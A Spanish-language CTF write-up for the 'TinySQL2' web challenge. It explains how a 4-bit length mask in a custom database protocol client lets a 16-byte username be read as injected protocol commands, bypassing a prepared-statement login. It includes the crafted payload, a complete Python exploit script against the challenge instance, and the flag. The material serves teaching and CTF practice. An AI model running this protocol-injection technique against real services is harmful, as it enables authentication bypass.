Datos del reto
| Campo | Valor |
|---|---|
| CTF | Batman's Kitchen CTF |
| Reto | TinySQL2 |
| Categoría | Web / Protocol |
| Contexto | "Surely you can't beat a prepared statement. DO NOT BRUTE FORCE THIS" |
| Flag | bkctf{sql_1nj3ct10n_0ver_th3_w1re} |
Descripción del reto
La aplicación usa un backend "TinySQL" con prepared statements para el login. La vulnerabilidad no está en la lógica SQL sino en el protocolo binario del cliente: una máscara de longitud de 4 bits hace que valores de bind de 16 bytes se interpreten como longitud 0, dejando esos 16 bytes en el stream TCP y siendo procesados como nuevos comandos. Esto permite inyectar comandos de protocolo (re-preparar query y manipular binds) y lograr login sin contraseña.
Reconocimiento
- Web: Flask; rutas
/,/login,/forum,/forum/post/<id>. - Flag: En
/forum/post/3, solo visible si hay sesión válida (session['username']). - Login: Comentario en código: "removed sql injection" y uso de
conn.prepare('S:?:?', (user, pass))— prepared statement con dos placeholders.
Arquitectura:
- tinysql-server.py: Servidor custom en TCP (puerto 1234), protocolo binario, lee de
users.tdb. - web_app/tinysql.py: Cliente que habla con el servidor (prepare/bind/execute).
- web_app/app.py: Flask; login vía
prepare, posts leen autor conquery('S:' + str(post_id))(por ID, sin prepared).
Conclusión: el login está "protegido" con prepared statement; el punto débil debe estar en el protocolo o en cómo se codifican longitudes.
Análisis de la vulnerabilidad
Protocolo TinySQL
Cada mensaje: 1 byte tipo + 1 byte longitud + payload (longitud bytes).
| Byte tipo | Comando | Efecto |
|---|---|---|
q |
query | Ejecuta query directa, devuelve resultado |
p |
prepare | Guarda statement (ej. S:?:?) |
b |
bind | Añade un valor a la lista de binds |
x |
execute | Ejecuta el statement preparado con los binds |
e |
end | Cierra conexión |
Flujo normal de login:
p+ len +"S:?:?"→ prepareb+ len + user → bind 1b+ len + pass → bind 2x+ 0 → execute → devuelver:id:user:passsi user+pass correctos
El servidor en executeQuery() hace:
- Si statement es
S:?(1 parámetro): usabinds[0]comouserId. - Si es
S:?:?(2 parámetros): usabinds[0]ybinds[1]como user y pass.
Además, en bindVariables(): si len(binds) >= 2, se hace binds.clear() antes de append. Así, el último bind que se envía antes del x es el que "cuenta" cuando hay 2 parámetros.
Máscara de longitud
En el cliente (web_app/tinysql.py):
STMT_SIZE_MASK = 0x0F
def prepare(self, stmt, binds):
# ...
for i in binds:
barr.append(ord('b'))
barr.append(len(i) & self.STMT_SIZE_MASK) # ← solo 4 bits
barr.extend(i.encode('ascii'))
La longitud de cada bind se trunca a 4 bits (0x0F → máx. 15).
Consecuencia:
- Usuario de 16 caracteres →
16 & 0x0F == 0→ el servidor lee 0 bytes como payload del bind. - Los 16 bytes del username no se consumen en ese
recv(length)y quedan en el buffer TCP. - En la siguiente iteración del loop, el servidor lee el siguiente byte como tipo de comando y el siguiente como longitud, etc.: esos 16 bytes se interpretan como nuevos comandos del protocolo.
Es decir: inyección de comandos de protocolo vía un bind de longitud 16 (o cualquier longitud que al aplicar & 0x0F dé un valor menor que la longitud real).
Explotación
Objetivo: tener sesión válida para acceder a /forum/post/3.
Estrategia:
- Mantener el
prepare("S:?:?")inicial (no podemos evitarlo desde la web). - En el primer bind (username), enviar exactamente 16 bytes que el servidor interpretará como comandos:
- Re-preparar el statement a
S:?(búsqueda por ID, sin contraseña). - Añadir binds de relleno para que, cuando llegue el bind "legítimo" del password,
len(binds) >= 2y se hagaclear(); así el único bind que queda es el que usaremos como ID.
- Re-preparar el statement a
- Poner en password (segundo bind "real") el ID de un usuario existente, por ejemplo
"0"(en el .tdb suele haber id 0 o el primero creado; en el reto el primer usuario esbobcon id que coincide con el primer registro útil). - El
executeejecutaráS:?conuserId = "0"(o el ID correcto) y devolverár:id:bob:xxx→ login comobob.
Payload de 16 bytes
Hay que construir 16 bytes que sean una secuencia válida de comandos:
p+ 0x03 +S:?(5 bytes) — Re-prepara el statement aS:?(un solo placeholder, búsqueda por ID).b+ 0x03 +ABC(5 bytes) — Añade bind"ABC". Tras el primer bind "vacío" (0 bytes leídos), binds =["", "ABC"].b+ 0x01 +D(3 bytes) —len(binds) >= 2→ clear → binds =["D"].b+ 0x01 +E(3 bytes) — binds =["D", "E"].
Total: 5 + 5 + 3 + 3 = 16 bytes.
Payload literal en Python:
username = "p\x03S:?b\x03ABCb\x01Db\x01E" # 16 bytes
password = "0"
Exploit completo
import requests
TARGET = "https://tinysql-2-dbec1607401161a1.instancer.batmans.kitchen"
username = "p\x03S:?b\x03ABCb\x01Db\x01E"
password = "0"
session = requests.Session()
session.post(f"{TARGET}/login", data={"user": username, "pass": password})
flag_resp = session.get(f"{TARGET}/forum/post/3")
# Flag en el HTML
Ejecución:
python3 exploit.py
Salida esperada: login exitoso (302) y en /forum/post/3 la flag.
Flag
bkctf{sql_1nj3ct10n_0ver_th3_w1re}
Lecciones aprendidas
- El prepared statement evita la inyección SQL clásica en la query, pero la codificación del protocolo (máscara
STMT_SIZE_MASK = 0x0F) introduce desincronización entre cliente y servidor. - Un bind de longitud 16 hace que el servidor lea 0 bytes y trate los 16 bytes siguientes como comandos → protocol injection.
- En protocolos binarios, longitudes truncadas o mal calculadas pueden convertir datos "normales" (p. ej. un username) en comandos interpretados, sin necesidad de romper la capa SQL.